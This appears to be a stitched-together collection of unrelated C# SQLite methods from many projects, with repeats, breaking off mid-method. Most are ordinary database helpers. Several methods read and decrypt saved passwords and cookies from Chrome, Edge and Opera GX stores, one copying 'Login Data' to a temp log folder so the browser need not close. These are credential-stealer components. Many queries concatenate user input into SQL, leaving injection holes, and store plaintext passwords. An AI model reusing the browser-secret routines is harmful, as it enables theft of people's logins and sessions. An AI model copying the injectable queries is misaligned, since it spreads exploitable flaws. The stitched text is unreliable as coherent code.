public void TestCaseSensitiveKeyColumn()
{
var path = Path.GetTempFileName();
try
{
var sqlite = new System.Data.SQLite.SQLiteConnection("Data Source=" + path);
sqlite.Open();
var cmd = sqlite.CreateCommand();
cmd.CommandText = "create table test(col_ID integer primary key, name text, shape blob)";
cmd.ExecuteNonQuery();
cmd.Dispose();
sqlite.Close();
sqlite.Dispose();
using (var sq = new ManagedSpatiaLite("Data Source=" + path, "test", "shape", "COL_ID"))
{
var ext = new Envelope();
var ds = new SharpMap.Data.FeatureDataSet();
sq.ExecuteIntersectionQuery(ext, ds);
NUnit.Framework.Assert.AreEqual(0, ds.Tables[0].Count);
}
}
catch (Exception ex)
{
Assert.Fail("Got exception, should not happen");
}
finally
{
File.Delete(path);
}
}
public void UpdateDatabaseWithArteProps( string ConnectionString )
{
System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection( ConnectionString );
conn.Open();
System.Data.SQLite.SQLiteTransaction transaction = conn.BeginTransaction();
System.Data.SQLite.SQLiteCommand command = new System.Data.SQLite.SQLiteCommand( conn );
command.Transaction = transaction;
foreach ( var a in ArteList ) {
string UpdateNames = "UPDATE Text SET IdentifyString = \"" + a.Type.ToString() + ";\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString( "X6" ) + "]\"";
Console.WriteLine( UpdateNames );
command.CommandText = UpdateNames;
command.ExecuteNonQuery();
string UpdateDescs = "UPDATE Text SET IdentifyString = \"Description;\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.DescStringDicId + " / 0x" + a.DescStringDicId.ToString( "X6" ) + "]\"";
Console.WriteLine( UpdateDescs );
command.CommandText = UpdateDescs;
command.ExecuteNonQuery();
if ( a.Type == Arte.ArteType.Generic ) {
string UpdateStatus = "UPDATE Text SET status = 4, updated = 1, updatedby = \"[HyoutaTools]\", updatedtimestamp = " + Util.DateTimeToUnixTime( DateTime.UtcNow ) + " WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString( "X6" ) + "]\"";
Console.WriteLine( UpdateStatus );
command.CommandText = UpdateStatus;
command.ExecuteNonQuery();
}
}
command.Dispose();
transaction.Commit();
conn.Close();
conn.Dispose();
}
public static void FindOpcodes(string query)
{
var files = System.IO.Directory.GetFiles(@"E:\HFS\WOWDEV\SNIFFS_CLEAN\", "*.sqlite", System.IO.SearchOption.AllDirectories).OrderByDescending(t => t);
foreach (var file in files)
{
using (var con = new System.Data.SQLite.SQLiteConnection("Data Source=" + file))
{
con.Open();
using (var sqlcommand = con.CreateCommand())
{
sqlcommand.CommandText = "select count(*) from packets where opcode in (" + query + ")";
var reader = sqlcommand.ExecuteReader();
while (reader.Read())
{
var found = reader.GetInt32(0);
if (found > 0)
{
System.Diagnostics.Debug.WriteLine(file + "\t" + found);
}
break;
}
}
con.Close();
}
}
}
public static int ExecuteNonQueryWithTransaction(string sql, params System.Data.SQLite.SQLiteParameter[] arrayOfParameters)
{
if (string.IsNullOrEmpty(sql))
{
return(0);
}
CreateDatabaseFileIfNotExist();
using (System.Data.SQLite.SQLiteConnection cn = new System.Data.SQLite.SQLiteConnection(GetConnectionString()))
{
cn.Open();
int iReturn = -2;
cn.Open();
System.Data.SQLite.SQLiteTransaction trans = cn.BeginTransaction();
try
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(sql, cn, trans))
{
if ((arrayOfParameters?.Length ?? 0) > 0)
{
com.Parameters.AddRange(arrayOfParameters);
}
iReturn = com.ExecuteNonQuery();
}
trans.Commit();
}
catch
{
trans.Rollback();
iReturn = -2;
throw;
}
return(iReturn);
}
}
private void UnLoad_Click(object sender, RoutedEventArgs e)
{
if (string.IsNullOrWhiteSpace(Rwebidtxt.Text))
{
MessageBox.Show("Error in WebId Field, Please Check it again.", "UnLoading Error", MessageBoxButton.OK, MessageBoxImage.Exclamation);
}
else
{
// MessageBox.Show("Thanks, This Part is UnderDevelopment, Please Wait for The next Update", "Work In Progress", MessageBoxButton.OK, MessageBoxImage.Information);
if (!string.IsNullOrWhiteSpace(Rwebidtxt.Text))
{
sqlcon.Open();
//MessageBox.Show(sqlcon.ToString());
string query = "Select password from Record where EmailID='" + Rwebidtxt.Text + "';";
System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(query, sqlcon);
com.ExecuteNonQuery();
System.Data.SQLite.SQLiteDataReader dr = com.ExecuteReader();
dr.Read();
Rpasstxt.Text = dr["Password"].ToString();
//MessageBox.Show("Congrats , You have successefully Loaded the Data ", "Data Loaded ", MessageBoxButton.OK, MessageBoxImage.Information);
sqlcon.Close();
}
}
}
public void open()
{
if (closed)
{
db.Open();
closed = false;
}
}
// void ImageFileReconciliation()
// {
// // This next line creates a list of strings that don't have images. Can be commented out!
// List<string> missingImages = new List<string>();
// // Creates the collection of functional groups.
// foreach (ChemInfo.FunctionalGroup temp in fGroups)
// {
// string filename = imagePath + "FunctionalGroups\\" + temp.Name.ToLower() + ".jpg";
// if (System.IO.File.Exists(filename)) temp.Image = System.Drawing.Image.FromFile(filename);
// //this line adds the missing image to the list of missing images. Can be commented out.
// else missingImages.Add(temp.Name);
// }
// // Writes the missing images to a file.
// // Write the string array to a new file named "WriteLines.txt".
// using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(documentPath + @"\MissingImages.txt"))
// {
// foreach (string line in missingImages)
// outputFile.WriteLine(line);
// }
// string[] imageFiles = System.IO.Directory.GetFiles(imagePath + "FunctionalGroups\\");
// string[] groupNames = fGroups.FunctionalGroups;
// List<string> extraImages = new List<string>();
// foreach (string name in imageFiles)
// {
// string temp = name.Replace(imagePath + "FunctionalGroups\\", string.Empty);
// temp = temp.Replace(".jpg", string.Empty);
// bool add = true;
// foreach (string gName in groupNames)
// {
// if (temp.ToUpper() == gName.ToUpper()) add = false;
// }
// if (add) extraImages.Add(temp);
// }
// // Write the string array to a new file named "WriteLines.txt".
// using (System.IO.StreamWriter outputFile = new System.IO.StreamWriter(imagePath + "FunctionalGroups\\" + @"\ExtraImages.txt"))
// {
// foreach (string line in extraImages)
// outputFile.WriteLine(line);
// }
// }
//}
// Code from https://stackoverflow.com/questions/20419630/saving-datatable-to-sqlite-database-by-adapter-update
public System.Data.DataTable GetDataTable(string tablename)
{
System.Data.DataTable DT = new System.Data.DataTable();
m_dbConnection.Open();
db_Command = m_dbConnection.CreateCommand();
db_Command.CommandText = string.Format("SELECT * FROM {0}", tablename);
db_Adapter = new System.Data.SQLite.SQLiteDataAdapter(db_Command);
db_Adapter.Fill(DT);
m_dbConnection.Close();
DT.TableName = tablename;
return(DT);
}
public SQLiteTransformationProvider(Dialect dialect, string connectionString)
: base(dialect, connectionString)
{
connection = new SqliteConnection(base.connectionString);
connection.ConnectionString = base.connectionString;
connection.Open();
}
public static IDbConnection CreateConnection()
{
var connection = new System.Data.SQLite.SQLiteConnection(GetConnectionString());
connection.Open();
return connection;
}
public static IEnumerable <Tuple <string, string> > ReadCookies(string hostName)
{
var dbPath = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default\Cookies";
if (!System.IO.File.Exists(dbPath))
{
Debug.WriteLine("Folder doesn't exist");
}
else
{
var connectionString = "Data Source=" + dbPath + ";pooling=false";
var conn = new System.Data.SQLite.SQLiteConnection(connectionString);
var cmd = conn.CreateCommand();
var prm = cmd.CreateParameter();
prm.ParameterName = "hostName";
prm.Value = hostName;
cmd.Parameters.Add(prm);
cmd.CommandText = "SELECT name, encrypted_value FROM cookies WHERE host_key = @hostName";
conn.Open();
var reader = cmd.ExecuteReader();
while (reader.Read())
{
var encryptedData = (byte[])reader[1];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser);
var plainText = Encoding.ASCII.GetString(decodedData);
yield return(Tuple.Create(reader.GetString(0), plainText));
}
conn.Close();
}
}
protected void Page_Load(object sender, EventArgs e)
{
DataSet ds = new DataSet();
var connectionString = String.Format("Data Source={0};Version=3;", "./App_Data/Madera.db");
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=|DataDirectory|Madera.db"))
{
con.Open();
using (var cmd = con.CreateCommand())
{
string query = "select id_client, nom, prenom, mail from client;";
cmd.CommandText = query;
System.Data.SQLite.SQLiteDataAdapter da = new System.Data.SQLite.SQLiteDataAdapter(cmd);
da.Fill(ds);
int i = 0;
while (i < ds.Tables[0].Rows.Count)
{
string nom = ds.Tables[0].Rows[i].ItemArray[1].ToString();
string prenom = ds.Tables[0].Rows[i].ItemArray[2].ToString();
string mail = ds.Tables[0].Rows[i].ItemArray[3].ToString();
string id_client = ds.Tables[0].Rows[i].ItemArray[0].ToString();
client.Items.Add(new ListItem(nom + " " + prenom + " : " + mail, id_client));
i++;
}
con.Close();
}
}
}
private void btn_aggiungi_Click(object sender, EventArgs e)
{
if (!tb_nomeAdd.Text.Equals("") && !tb_pswAdd.Equals(""))
{
if (tb_pswAdd.Text.Equals(tb_pswReAdd.Text))
{
using (System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection("data source=gestionalePalestra.db"))
{
using (System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand(conn))
{
conn.Open();
string command = "INSERT INTO User(Username,Password) VALUES ('" + tb_nomeAdd.Text + "','" + tb_pswAdd.Text + "');";
cmd.CommandText = command;
cmd.ExecuteNonQuery();
//MessageBox.Show(command);
MessageBox.Show("Inserimento avvenuto con successo!", "Inserimento avvenuto");
conn.Close();
}
}
LoadComboBox();
lockGroupBox();
}
else
{
PrintError(2);
}
}
else
{
PrintError(0);
}
}
private static IDbConnection GetDatabaseConnectionSDS(string cs)
{
var rv = new System.Data.SQLite.SQLiteConnection(cs);
if (rv == null) {
throw new ArgumentException("no connection");
}
rv.Open();
try {
rv.SetChunkSize(GROW_SIZE);
}
catch (Exception ex) {
log4net.LogManager.GetLogger(typeof(Sqlite)).Error(
"Failed to sqlite control", ex);
}
if (clearPool == null) {
clearPool = conn =>
{
System.Data.SQLite.SQLiteConnection.ClearPool(
conn as System.Data.SQLite.SQLiteConnection);
};
}
return rv;
}
public DbConnection Db()
{
if (!System.IO.File.Exists(File)) return null;
var cn = new System.Data.SQLite.SQLiteConnection(string.Format("Data Source={0};Version=3;", File));
cn.Open();
return cn;
}
public List <Passwords> GetAllPasswords(byte[] key)
{
List <Passwords> password = new List <Passwords>();
if (!PasswordsExists())
{
throw new FileNotFoundException("Cant find password store", EdgeBrowserPasswordsPath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={EdgeBrowserPasswordsPath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
password.Add(new Passwords()
{
url = reader.GetString(0),
password = DecryptWithKey((byte[])reader[2], key, 3),
username = reader.GetString(1)
});
}
}
conn.Close();
}
return(password);
}
public void TestCaseSensitiveKeyColumn()
{
var path = Path.GetTempFileName();
try
{
var sqlite = new System.Data.SQLite.SQLiteConnection("Data Source=" + path);
sqlite.Open();
var cmd = sqlite.CreateCommand();
cmd.CommandText = "create table test(col_ID integer primary key, name text, shape blob)";
cmd.ExecuteNonQuery();
cmd.Dispose();
sqlite.Close();
sqlite.Dispose();
using (var sq = new ManagedSpatiaLite("Data Source=" + path, "test", "shape", "COL_ID"))
{
var ext = new Envelope();
var ds = new SharpMap.Data.FeatureDataSet();
sq.ExecuteIntersectionQuery(ext, ds);
NUnit.Framework.Assert.AreEqual(0, ds.Tables[0].Count);
}
}
catch (Exception ex)
{
Assert.Fail("Got exception, should not happen");
}
finally
{
File.Delete(path);
}
}
public List <Currency> GetCurrencyList()
{
List <Currency> currencyList = new List <Currency>();
Currency currency;
try
{
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(BaseDbContext.databasestring))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open(); // Open the connection to the database
com.CommandText = "Select CurrencyID,CurrencyName,CurrencyFactor FROM Currencies"; // Select all rows from our database table
using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
{
while (reader.Read())
{
currency = new Currency();
currency.CurrencyID = Convert.ToInt32(reader["CurrencyID"]);
currency.CurrencyName = Convert.ToString(reader["CurrencyName"]);
currency.CurrencyConversionFactor = Convert.ToDecimal(reader["CurrencyFactor"]);
currencyList.Add(currency);
}
}
con.Close(); // Close the connection to the database
}
}
return(currencyList);
}
catch (Exception ex)
{
return(null);
}
}
public List <Cookie> GetAllCookies(byte[] key)
{
List <Cookie> cookies = new List <Cookie>();
if (!CookiesExists())
{
throw new FileNotFoundException("Cant find cookie store", EdgeBrowserCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={EdgeBrowserCookiePath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
cookies.Add(new Cookie()
{
Name = reader.GetString(0),
Value = DecryptWithKey((byte[])reader[1], key, 3),
HostName = reader.GetString(2)
});
}
}
conn.Close();
}
return(cookies);
}
private static IDbConnection OpenConnection()
{
var sqLiteConnection = new System.Data.SQLite.SQLiteConnection("Data Source=:memory:;Version=3;New=True");
sqLiteConnection.Open();
return(sqLiteConnection);
}
private void displayPersonDetail(string personNo)
{
//
System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection(sDataBaseStr);
conn.Open();
//
string sql_findInfo = string.Format("select * from RentPersonInfo where personCardNum = '{0}'", personNo);
//
System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand();
cmd.CommandText = sql_findInfo;
cmd.Connection = conn;
System.Data.SQLite.SQLiteDataReader reader = cmd.ExecuteReader();
if (reader.HasRows)
{
reader.Read();
//借书人姓名
string personName = reader.GetString(0);
string personNum = reader.GetString(1);
string mobile = reader.GetString(3);
label_personDetail.Text = "借书人详细信息：" + "\r\n" + "\r\n" + "姓名：" + personName + "\r\n" + "\r\n" + "身份证号：" + personNum + "\r\n" + "\r\n" + "手机号：" + mobile;
}
//
reader.Close();
cmd.Dispose();
conn.Close();
conn.Dispose();
System.GC.Collect();
System.GC.WaitForPendingFinalizers();
}
public void Open()
{
if (conn.State != ConnectionState.Open)
{
conn.Open();
}
}
public List <Passwords> GetPasswordByHostname(string hostName, byte[] key)
{
List <Passwords> password = new List <Passwords>();
if (hostName == null)
{
throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null
}
if (!CookiesExists())
{
throw new FileNotFoundException("Cant find cookie store", OperaGXPasswordsPath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
}
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={OperaGXPasswordsPath};pooling=false"))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins WHERE origin_url = '{hostName}'";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
password.Add(new Passwords()
{
url = reader.GetString(0),
password = DecryptWithKey((byte[])reader[2], key, 3),
username = reader.GetString(1)
});
}
}
conn.Close();
}
return(password);
}
public void UpdateDatabaseWithArteProps(string ConnectionString)
{
System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection(ConnectionString);
conn.Open();
System.Data.SQLite.SQLiteTransaction transaction = conn.BeginTransaction();
System.Data.SQLite.SQLiteCommand command = new System.Data.SQLite.SQLiteCommand(conn);
command.Transaction = transaction;
foreach (var a in ArteList)
{
string UpdateNames = "UPDATE Text SET IdentifyString = \"" + a.Type.ToString() + ";\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString("X6") + "]\"";
Console.WriteLine(UpdateNames);
command.CommandText = UpdateNames;
command.ExecuteNonQuery();
string UpdateDescs = "UPDATE Text SET IdentifyString = \"Description;\" || IdentifyString WHERE IdentifyString LIKE \"%[" + a.DescStringDicId + " / 0x" + a.DescStringDicId.ToString("X6") + "]\"";
Console.WriteLine(UpdateDescs);
command.CommandText = UpdateDescs;
command.ExecuteNonQuery();
if (a.Type == Arte.ArteType.Generic)
{
string UpdateStatus = "UPDATE Text SET status = 4, updated = 1, updatedby = \"[HyoutaTools]\", updatedtimestamp = " + Util.DateTimeToUnixTime(DateTime.UtcNow) + " WHERE IdentifyString LIKE \"%[" + a.NameStringDicId + " / 0x" + a.NameStringDicId.ToString("X6") + "]\"";
Console.WriteLine(UpdateStatus);
command.CommandText = UpdateStatus;
command.ExecuteNonQuery();
}
}
command.Dispose();
transaction.Commit();
conn.Close();
conn.Dispose();
}
// "x:\util\android-sdk-windows\platform-tools\adb.exe" tcpip 5555
// restarting in TCP mode port: 5555
// "x:\util\android-sdk-windows\platform-tools\adb.exe" connect 192.168.1.126:5555
// connected to 192.168.1.126:5555
static ApplicationWebService()
{
// will this work for android?
Console.WriteLine("ApplicationWebService cctor " + new { Environment.CurrentDirectory });
// ApplicationWebService cctor { CurrentDirectory = W:\staging.net.debug }
#region setup:QueryExpressionBuilder.WithConnection
//if (ScriptCoreLib.Query.Experimental.QueryExpressionBuilder.WithConnection == null)
// override the default
ScriptCoreLib.Query.Experimental.QueryExpressionBuilder.WithConnection =
y =>
{
// relative path?
var DataSource = "file:server1.sqlite";
// nuget xsqlite?
var cc = new System.Data.SQLite.SQLiteConnection(new System.Data.SQLite.SQLiteConnectionStringBuilder
{
DataSource = DataSource,
Version = 3
}.ConnectionString);
cc.Open();
y(cc);
cc.Dispose();
};
#endregion
}
private List <Stavka> LstStavki()
{
string joinQuery =
@"SELECT Stavka, Opis FROM [Stavki] AS S ORDER BY Stavka;";
List <Stavka> _lstStavka = new List <Stavka>();
string connStr = "Data Source = E:\\vs2017\\svPloter\\eOFIdata.db; Version = 3;";
//System.Data.SQLite.SQLiteConnection.CreateFile("Data Source = Config\\Data\\eOFIdata.db; Version = 3;");
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(connStr))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open(); // Open the connection to the database
com.CommandText = joinQuery; // Select all rows from our database table
using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
{
while (reader.Read())
{
Stavka s = new Stavka();
s.eKod = reader["Stavka"].ToString();
s.Vrska = reader["Opis"].ToString();
_lstStavka.Add(s);
}
}
con.Close(); // Close the connection to the database
}
}
return(_lstStavka);
}
public static IDbConnection GetDatabaseConnection(FileInfo database)
{
if (database == null) {
throw new ArgumentNullException("database");
}
if (database.Exists && database.IsReadOnly) {
throw new ArgumentException("Database file is read only", "database");
}
var cs = string.Format("Uri=file:{0}", database.FullName);
if (Type.GetType("Mono.Runtime") == null) {
var rv = new System.Data.SQLite.SQLiteConnection(cs);
if (rv == null) {
throw new ArgumentException("no connection");
}
rv.Open();
return rv;
}
Assembly monoSqlite;
try {
monoSqlite = Assembly.Load("Mono.Data.Sqlite, Version=4.0.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756");
}
catch (Exception) {
monoSqlite = Assembly.Load("Mono.Data.Sqlite, Version=2.0.0.0, Culture=neutral, PublicKeyToken=0738eb9f132ed756");
}
var dbconn = monoSqlite.GetType("Mono.Data.Sqlite.SqliteConnection");
var ctor = dbconn.GetConstructor(new[] { typeof(string) });
var mrv = ctor.Invoke(new[] { cs }) as IDbConnection;
if (mrv == null) {
throw new ArgumentException("no connection");
}
mrv.Open();
return mrv;
}
public static int Execute( List<string> args )
{
// 0xCB20
if ( args.Count != 2 ) {
Console.WriteLine( "Generates a scenario db for use in Tales.Vesperia.Website from a MAPLIST.DAT." );
Console.WriteLine( "Usage: maplist.dat scenario.db" );
return -1;
}
String maplistFilename = args[0];
string connStr = "Data Source=" + args[1];
using ( var conn = new System.Data.SQLite.SQLiteConnection( connStr ) ) {
conn.Open();
using ( var ta = conn.BeginTransaction() ) {
SqliteUtil.Update( ta, "CREATE TABLE descriptions( filename TEXT PRIMARY KEY, shortdesc TEXT, desc TEXT )" );
int i = 0;
foreach ( MapName m in new MapList( System.IO.File.ReadAllBytes( maplistFilename ) ).MapNames ) {
Console.WriteLine( i + " = " + m.ToString() );
List<string> p = new List<string>();
p.Add( "VScenario" + i );
p.Add( m.Name1 != "dummy" ? m.Name1 : m.Name3 );
p.Add( m.Name1 != "dummy" ? m.Name1 : m.Name3 );
SqliteUtil.Update( ta, "INSERT INTO descriptions ( filename, shortdesc, desc ) VALUES ( ?, ?, ? )", p );
++i;
}
ta.Commit();
}
conn.Close();
}
return 0;
}
public DatabaseManager()
{
string createTableQuery = @"CREATE TABLE IF NOT EXISTS LASTPROJECTS (
[ID] INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
[address] VARCHAR(2048) NULL
)";
string path = Path.
GetDirectoryName(Path.GetDirectoryName(System.IO.Directory.GetCurrentDirectory()));
path = path + @"\bin\Debug\databaseFile.db3";
if(!File.Exists (path))
System.Data.SQLite.SQLiteConnection.CreateFile("databaseFile.db3");
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open();
com.CommandText = createTableQuery;
com.ExecuteNonQuery();
con.Close();
}
}
Console.WriteLine("ALLO");
}
public void DeleteCategory(int id)
{
try
{
using (SqliteConnection connection = new SqliteConnection(Settings.DatabaseConnection))
{
connection.Open();
using (SqliteCommand command = new SqliteCommand(connection))
{
// The category
command.CommandText = "DELETE FROM categories WHERE id=@id";
SqliteParameter parameter = new SqliteParameter("@id", DbType.Int32);
parameter.Value = id;
command.Parameters.Add(parameter);
command.ExecuteNonQuery();
// The questions for the category
command.CommandText = "DELETE FROM questions WHERE categoryid=@id";
command.ExecuteNonQuery();
}
}
}
catch (SqliteException e)
{
Logger.Warn("SqliteException occurred with DeleteCategory({0}): \n{1}", id, e);
}
}
public int MaxQuestionOrder(Category category)
{
int result = 0;
try
{
using (SqliteConnection connection = new SqliteConnection(Settings.DatabaseConnection))
{
connection.Open();
using (SqliteCommand command = new SqliteCommand(connection))
{
command.CommandText = @"SELECT MAX([order]) from questions WHERE categoryid=@categoryid";
SqliteParameter parameter = new SqliteParameter("@categoryid", DbType.Int32);
parameter.Value = category.Id;
command.Parameters.Add(parameter);
object val = command.ExecuteScalar();
if (val != DBNull.Value)
{
result = Convert.ToInt32(val);
}
}
}
}
catch (SqliteException ex)
{
Logger.Fatal("Unable to perform MaxQuestionOrder: \n{0}", ex);
}
return(result);
}
public SQLiteTransformationProvider(Dialect dialect, string connectionString)
: base(dialect, connectionString, null)
{
_connection = new SqliteConnection(_connectionString);
_connection.ConnectionString = _connectionString;
_connection.Open();
}
private DataSet getDataSet(ref StringBuilder sbSql, string strConnection, out int intEffected)
{
intEffected = -1;
try {
connToDB = new System.Data.SQLite.SQLiteConnection(strConnection);
connToDB.Open();
}
catch (Exception ex) {
string msg = "Open Connection Exception / Check Connection String.";
throw new Exception(msg, ex);
}
DataSet dataSet = new DataSet();
try {
System.Data.SQLite.SQLiteDataAdapter dbAdapter = new System.Data.SQLite.SQLiteDataAdapter();
dbAdapter.SelectCommand = new System.Data.SQLite.SQLiteCommand(sbSql.ToString(), connToDB);
dbAdapter.FillLoadOption = LoadOption.PreserveChanges;
intEffected = dbAdapter.Fill(dataSet);
}
catch (Exception ex) {
throw (ex);
}
return(dataSet);
}
private void btn_modify_Click(object sender, EventArgs e)
{
if (!tb_NomeMod.Text.Equals("") && !tb_pswMod.Equals(""))
{
using (System.Data.SQLite.SQLiteConnection conn = new System.Data.SQLite.SQLiteConnection("data source=gestionalePalestra.db"))
{
using (System.Data.SQLite.SQLiteCommand cmd = new System.Data.SQLite.SQLiteCommand(conn))
{
conn.Open();
string command = "UPDATE User SET Username='******', Password='******' WHERE Username='******'";
cmd.CommandText = command;
cmd.ExecuteNonQuery();
//MessageBox.Show(command);
MessageBox.Show("Elemento modificato con successo!", "Modifica avvenuta");
conn.Close();
}
}
LoadComboBox();
lockGroupBox();
}
else
{
PrintError(0);
}
}
public bool CreateCurrency(string CurrencyName, decimal CurrencyFactor)
{
try
{
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection(BaseDbContext.databasestring))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open();
com.CommandText = string.Format("Select 1 from Currencies where CurrencyName='{0}'", CurrencyName); // Add the first entry into our database
var exists = com.ExecuteScalar();
if (exists == null)
{
com.CommandText = string.Format("INSERT INTO Currencies(CurrencyName,CurrencyFactor) Values ('{0}','{1}')", CurrencyName, CurrencyFactor); // Add the first entry into our database
com.ExecuteNonQuery();
}
else
{
return(false);
}
return(true);
}
}
}
catch (Exception ex)
{
return(false);
}
}
public DatabaseManager()
{
string createTableQuery = @"CREATE TABLE IF NOT EXISTS LASTPROJECTS (
[ID] INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
[address] VARCHAR(2048) NULL
)";
string path = Path.
GetDirectoryName(Path.GetDirectoryName(System.IO.Directory.GetCurrentDirectory()));
path = path + @"\bin\Debug\databaseFile.db3";
if (!File.Exists(path))
{
System.Data.SQLite.SQLiteConnection.CreateFile("databaseFile.db3");
}
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open();
com.CommandText = createTableQuery;
com.ExecuteNonQuery();
con.Close();
}
}
Console.WriteLine("ALLO");
}
static public IEnumerable <Tuple <string, string, string> > ReadPass(string dbPath)
{
if (File.Exists(Path.GetTempPath() + @"log\Login Data")) // Если файл по данному пути существует, то удаляем его
{
File.Delete(Path.GetTempPath() + @"log\Login Data");
}
File.Copy(dbPath, Path.GetTempPath() + @"log\Login Data"); // копируем файл с паролями для того, чтобы не закрывать браузер
dbPath = Path.GetTempPath() + @"log\Login Data";
var connectionString = "Data Source=" + dbPath + ";pooling=false";
using (var conn = new System.Data.SQLite.SQLiteConnection(connectionString))
using (var cmd = conn.CreateCommand())
{
cmd.CommandText = "SELECT password_value,username_value,origin_url FROM logins";
conn.Open();
using (var reader = cmd.ExecuteReader())
{
while (reader.Read())
{
var encryptedData = (byte[])reader[0];
var decodedData = System.Security.Cryptography.ProtectedData.Unprotect(encryptedData, null, System.Security.Cryptography.DataProtectionScope.CurrentUser); // расшифровка паролей
var plainText = Encoding.ASCII.GetString(decodedData);
yield return(Tuple.Create(reader.GetString(2), reader.GetString(1), plainText));
}
}
conn.Close();
}
}
/// <summary>
/// 执行sql集
/// </summary>
/// <param name="sqls">要执行sql集</param>
public static void ExecuteNonQuery(string conn, List <string> sqls)
{
using (System.Data.SQLite.SQLiteConnection Conn = new System.Data.SQLite.SQLiteConnection(conn))
{
Conn.Open();
using (System.Data.SQLite.SQLiteTransaction transaction = Conn.BeginTransaction())
{
using (System.Data.SQLite.SQLiteCommand command = Conn.CreateCommand())
{
try
{
foreach (string sql in sqls)
{
command.CommandText = sql;
command.ExecuteNonQuery();
}
transaction.Commit();
}
catch (Exception ex)
{
transaction.Rollback();
throw ex;
}
}
}
Conn.Close();
}
}
public List <String> checkProjects()
{
List <String> list = new List <String>();
using (System.Data.SQLite.SQLiteConnection con = new System.Data.SQLite.SQLiteConnection("data source=databaseFile.db3"))
{
using (System.Data.SQLite.SQLiteCommand com = new System.Data.SQLite.SQLiteCommand(con))
{
con.Open();
com.CommandText = "Select * FROM LASTPROJECTS";
using (System.Data.SQLite.SQLiteDataReader reader = com.ExecuteReader())
{
while (reader.Read())
{
Console.WriteLine(reader["address"]);
if (!File.Exists(reader["address"].ToString()))
{
list.Add(reader["address"].ToString());
}
}
}
con.Close();
}
}
if (list.Count > 0)
{
removeProject(list);
}
return(getLastProjects());
}
/// <summary>
/// 是否能连接
/// </summary>
/// <returns></returns>
public bool TestConnectionion()
{
System.Data.Common.DbConnection connection = null;
try
{
switch (this.DBTypeSelectIndex)
{
case 0:
connection = new MySql.Data.MySqlClient.MySqlConnection(this.ConnectionString);
break;
case 1:
connection = new System.Data.SqlClient.SqlConnection(this.ConnectionString);
break;
case 2:
connection = new System.Data.SQLite.SQLiteConnection(this.ConnectionString);
break;
}
connection.Open();
return(true);
}
catch
{
return(false);
}
finally
{
if (connection != null && connection.State != System.Data.ConnectionState.Closed)
{
connection.Close();
}
}
}
private string[] loadScenarioArraySqlite()
{
//
//OPEN CONNECTION TO DB FILE CONTAINING PROCESSOR SCENARIO TABLE
//
//scenario mdb connection
string strProcessorScenarioDB =
frmMain.g_oFrmMain.frmProject.uc_project1.txtRootDirectory.Text.Trim() +
"\\processor\\" + Tables.ProcessorScenarioRuleDefinitions.DefaultSqliteDbFile;
//
//get a list of all the scenarios
//
SQLite.ADO.DataMgr dataMgr = new SQLite.ADO.DataMgr();
string strConn = dataMgr.GetConnectionString(strProcessorScenarioDB);
IList <string> lstScenarioArray = null;
using (System.Data.SQLite.SQLiteConnection oConn = new System.Data.SQLite.SQLiteConnection(strConn))
{
oConn.Open();
